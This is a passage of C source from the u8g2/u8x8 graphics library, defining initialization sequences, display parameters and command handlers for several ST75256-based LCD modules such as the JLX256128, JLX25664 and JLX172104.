),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x008 ),\t\t\t\t/* data format MSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx256160_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x00 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx256160_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x03 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x008 ),\t\t\t\t/* data format MSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_st75256_256x128_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x128_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n        u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq);\n      else\n        u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq);\n\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n\n      u8x8_cad_StartTransfer(u8x8);\n      \n      u8x8_cad_SendCmd(u8x8, 0x030 );\n      u8x8_cad_SendCmd(u8x8, 0x081 );  /* there are 9 bit for the volume control */\n      u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 );\t/* lower 6 bit */\n      u8x8_cad_SendArg(u8x8, (arg_int>>5));\t\t/* upper 3 bit */\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      \n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      \n      u8x8_cad_SendCmd(u8x8, 0x030 );\t/* select command set */\n      u8x8_cad_SendCmd(u8x8, 0x075 );\t/* row */\n      u8x8_cad_SendArg(u8x8, u8x8->x_offset + (((u8x8_tile_t *)arg_ptr)->y_pos));\t/* x offset is used as y offset */\n      u8x8_cad_SendArg(u8x8, 0x04f);\n      //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n      u8x8_cad_SendCmd(u8x8, 0x015 );\t/* col */\n      u8x8_cad_SendArg(u8x8, x);\n      u8x8_cad_SendArg(u8x8, 255);\n      u8x8_cad_SendCmd(u8x8, 0x05c );\t\n          \n      do\n      {\n        c = ((u8x8_tile_t *)arg_ptr)->cnt;\n        ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n        /* SendData can not handle more than 255 bytes, treat c > 31 correctly  */\n        if ( c > 31 )\n        {\n          u8x8_cad_SendData(u8x8, 248, ptr); \t/* 31*8=248 */\n          ptr+=248;\n          c -= 31;\n        }\n        \n        u8x8_cad_SendData(u8x8, c*8, ptr); \t\n        arg_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=============================================*/\n/* JLX256128 */\n\nstatic const u8x8_display_info_t u8x8_st75256_256x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 32,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\t/* must be 0, because this is checked also for normal mode */\n  /* flipmode_x_offset = */ 5,\t\t/* used as y offset */\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 128\n};\n\n\nstatic const uint8_t u8x8_d_st75256_256x128_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x000 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x4f),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 255),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x00 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 0x7f ),\t\t\t\t/* 1/160 duty value from the DS example code */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 0x36, 0x05 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st75256_jlx256128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if ( u8x8_d_st75256_256x128_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x128_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_init_seq);    \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256128_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256128_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n\n\n/*=============================================*/\n/* WO256X128, https://github.com/olikraus/u8g2/issues/891  */\n\nstatic const u8x8_display_info_t u8x8_st75256_wo256x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 32,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 5,\t/* must be 0, because this is checked also for normal mode */\n  /* flipmode_x_offset = */ 0,\t\t/* used as y offset */\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 128\n};\n\n\nstatic const uint8_t u8x8_d_st75256_wo256x128_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x000 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x4f),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 255),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x01 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x008 ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 0x7f ),\t\t\t\t/* 1/160 duty value from the DS example code */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 0x36, 0x05 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st75256_wo256x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if ( u8x8_d_st75256_256x128_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_wo256x128_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_wo256x128_init_seq);    \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq);\t// this matches the init sequence\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n\n/*=============================================*/\n/* JLX25664 */\n\nstatic const u8x8_display_info_t u8x8_st75256_256x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 32,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\t/* must be 0, because this is checked also for normal mode */\n  /* flipmode_x_offset = */ 13,\t\t/* used as y offset */\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 64\n};\n\n\nstatic const uint8_t u8x8_d_st75256_256x64_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x005 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x1f),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 255),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x00 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 0x3f ),\t\t\t\t/* 64 duty value from the DS example code */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 012, 0x02 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st75256_jlx25664(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if ( u8x8_d_st75256_256x128_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x64_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x64_init_seq);    \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256128_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256128_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n\n/*=============================================*/\n/* JLX172104 LCD */\n\nstatic const u8x8_display_info_t u8x8_st75256_172x104_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 22,\t\t\t/* 22=176 */\n  /* tile_height = */ 13,\n  /* default_x_offset = */ 84,\t/*  */\n  /* flipmode_x_offset = */ 0,\t\t\n  /* pixel_width = */ 172,\n  /* pixel_height = */ 104\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx172104_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x003 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x4f),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 255),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x02 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 0x9f ),\t\t\t\t/* 1/160 duty value from the DS example code */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 0x08, 0x04 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};    \n\n\nuint8_t u8x8_d_st75256_jlx172104(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n\n  switch(msg)\n  {\n            case U8X8_MSG_DISPLAY_DRAW_TILE:\n              \n              u8x8_cad_StartTransfer(u8x8);\n              x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n              x *= 8;\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\t/* select command set */\n              u8x8_cad_SendCmd(u8x8, 0x075 );\t/* row */\n\t      if ( u8x8->x_offset == 0 )\t\t/* 0 means flip mode 1, then adjust y value */\n\t\tu8x8_cad_SendArg(u8x8, 8+(((u8x8_tile_t *)arg_ptr)->y_pos));\n\t      else\n\t\tu8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendArg(u8x8, 0x04f);\n              //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendCmd(u8x8, 0x015 );\t/* col */\n              u8x8_cad_SendArg(u8x8, x+u8x8->x_offset);\n              u8x8_cad_SendArg(u8x8, 255);\n              u8x8_cad_SendCmd(u8x8, 0x05c );\t\n            \n              \n              /* this procedure assumes, that the overall width is 172 */\n              do\n              {\n                c = ((u8x8_tile_t *)arg_ptr)->cnt;\n                ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n                c *= 8;\n\n                if ( c + x > 172u )\n                {\n                        c = 172u;\n                        c -= x;\n                }\n                      \n                u8x8_cad_SendData(u8x8, c, ptr); \t\n                x += c;\n                arg_int--;\n              } while( arg_int > 0 );\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n        case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n            //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n            u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_172x104_display_info);\n            return 1;\n        case U8X8_MSG_DISPLAY_INIT:\n            u8x8_d_helper_display_init(u8x8);\n            u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_init_seq);\n            return 1;\n        case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n              if ( arg_int == 0 )\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq);\n              else\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq);\n\n              return 1;\n\tcase U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\t    if ( arg_int == 0 )\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq);\n\t      u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t    }\n\t    else\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); \n\t      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t    }\n\t    return 1;\n\t\t\n#ifdef U8X8_WITH_SET_CONTRAST\n        case U8X8_MSG_DISPLAY_SET_CONTRAST:\n\n              u8x8_cad_StartTransfer(u8x8);\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\n              u8x8_cad_SendCmd(u8x8, 0x081 );  /* there are 9 bit for the volume control */\n              u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 );\t/* lower 6 bit */\n              u8x8_cad_SendArg(u8x8, (arg_int>>5));\t\t/* upper 3 bit */\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n#endif\n  }\n  return 0;\n}\n\n/*=============================================*/\n/* JLX240160 */\n\nstatic const u8x8_display_info_t 